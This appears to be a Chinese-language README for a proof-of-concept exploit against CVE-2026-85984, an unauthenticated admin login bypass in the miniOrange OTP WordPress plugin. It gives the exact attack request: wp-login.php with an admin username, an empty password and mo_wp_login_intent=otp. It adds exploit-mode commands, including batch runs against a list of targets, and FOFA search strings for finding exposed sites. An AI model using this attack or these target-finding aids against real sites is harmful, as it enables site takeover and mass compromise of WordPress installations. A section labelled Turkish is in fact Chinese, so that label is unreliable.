CVE-2026-85984 — miniOrange OTP 登录（认证绕过）

针对 CVE-2026-85984 的 Python 3 PoC — miniOrange OTP Login, Verification and SMS Notifications ≤ 5.5.5。

描述（PoCbit / GitHub）

CVE-2026-85984 — 未认证的认证绕过（CWE-287），通过 POST 参数 mo_wp_login_intent=otp 配合空密码实现。在 mo_by_pass_login() 的 skip_pass_fallback 分支中，插件跳过 wp_authenticate_username_password()，仅按用户名解析用户，并在启用 Admin OTP Bypass 选项时将管理员角色视为充分条件。

攻击方式： 访问 wp-login.php，携带 log=<admin_user>、pwd=（空）、mo_wp_login_intent=otp。

条件（必须由站点管理员全部启用）：

1. WP Login OTP
2. Login with Only OTP
3. Allow Users to Login with Username and Password
4. Admin OTP Bypass

CVSS 3.1： 9.8 严重（AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H）。修复版本：5.5.6+（Wordfence CNA，发现者 Supakiad S. / m3ez）。

PoC 页面： https://pocbit.org/pocs/cve-2026-85984

PoCbit

目录：https://pocbit.org/pocs/

插件别名	miniorange-otp-verification
受影响版本	≤ 5.5.5
已修复版本	5.5.6+
攻击向量	wp-login.php + mo_wp_login_intent=otp
影响	管理员会话（整站被攻陷）

PoC 包含彩色 CLI 横幅、插件/版本扫描、可选用户枚举（REST/author）、--mode exploit 绕过尝试、带 pocbit / pocbit_catalog / pocbit_page 的批量 JSONL。

用法

pip install -r requirements.txt

python poc.py -u https://wordpress.example --mode check
python poc.py -u https://wordpress.example --mode check --probe-login
python poc.py -u https://wordpress.example --mode exploit --username admin
python poc.py --list targets.example.txt --mode exploit -j 8
python poc.py -u https://wordpress.example --mode exploit --no-color

FOFA / 搜索

body="/wp-content/plugins/miniorange-otp-verification"
body="mo_wp_login_intent"

GitHub 简介（英文）

CVE-2026-85984 PoC：WordPress miniOrange OTP ≤5.5.5 通过 mo_wp_login_intent=otp + 空密码实现未认证管理员绕过。检查/利用模式，彩色 CLI。PoCbit

摘要（土耳其语）

CVE-2026-85984： miniOrange OTP 插件中，空密码 + mo_wp_login_intent=otp 可导致 管理员会话（需要错误的 OTP 配置）。5.5.6 补丁。PoC：彩色界面 + 漏洞利用模式。

法律

仅限授权测试。请勿在您不拥有或未获授权测试的系统上使用。